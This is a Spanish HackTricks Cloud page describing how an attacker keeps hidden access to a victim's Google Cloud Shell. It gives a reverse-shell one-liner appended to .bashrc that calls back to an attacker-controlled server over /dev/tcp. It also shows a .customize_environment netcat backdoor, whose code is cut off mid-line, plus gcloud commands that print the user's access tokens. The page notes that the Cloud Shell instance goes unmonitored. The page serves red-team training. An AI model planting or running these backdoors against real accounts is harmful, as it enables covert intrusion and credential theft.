GCP - Persistencia de Cloud Shell
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Cloud Shell
Para más información revisa:
Persistent Backdoor
Google Cloud Shell te proporciona acceso por línea de comandos a tus recursos en la nube directamente desde el navegador sin ningún coste asociado.
Puedes acceder al Cloud Shell de Google desde la web console o ejecutando gcloud cloud-shell ssh.
Esta consola tiene algunas capacidades interesantes para un atacante:
- Any Google user with access to Google Cloud tiene acceso a una instancia de Cloud Shell totalmente autenticada (Service Accounts pueden, incluso siendo Owners del org).
- Dicha instancia mantendrá su home directory durante al menos 120 días si no hay actividad.
- No existen capacidades para que una organisation monitorice la actividad de esa instancia.
Esto básicamente significa que un atacante puede colocar un backdoor en el home directory del usuario y mientras el usuario se conecte al GC Shell al menos cada 120 days, el backdoor sobrevivirá y el atacante obtendrá un shell cada vez que se ejecute simplemente haciendo:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```Hay otro archivo en la carpeta home llamado .customize_environment que, si existe, se va a ejecutar cada vez que el usuario acceda al cloud shell (como en la técnica anterior). Simplemente inserta el backdoor anterior o uno como el siguiente para mantener la persistencia mientras el usuario use “frecuentemente” el cloud shell:
Crear backdoor .customize_environment
```bash #!/bin/sh apt-get install netcat -y ncWarning
Es importante destacar que la primera vez que se realiza una acción que requiere autenticación, aparece una ventana emergente de autorización en el navegador del usuario. Esta ventana debe ser aceptada antes de que el comando pueda ejecutarse. Si aparece una ventana emergente inesperada, podría generar sospechas y potencialmente comprometer el método de persistencia que se está utilizando.
Esta es la ventana emergente al ejecutar gcloud projects list desde el cloud shell (como atacante) vista en la sesión del navegador del usuario:
.png)
Sin embargo, si el usuario ha utilizado activamente el cloudshell, la ventana emergente no aparecerá y puedes obtener tokens del usuario con:
Obtener tokens de acceso desde Cloud Shell
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```Cómo se establece la conexión SSH
Básicamente, se utilizan estas 3 llamadas API:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (permitirá añadir la clave pública que creaste localmente)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (permitirá iniciar la instancia)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (te dirá la IP del Google Cloud Shell)
Pero puedes encontrar más información en https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Referencias
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

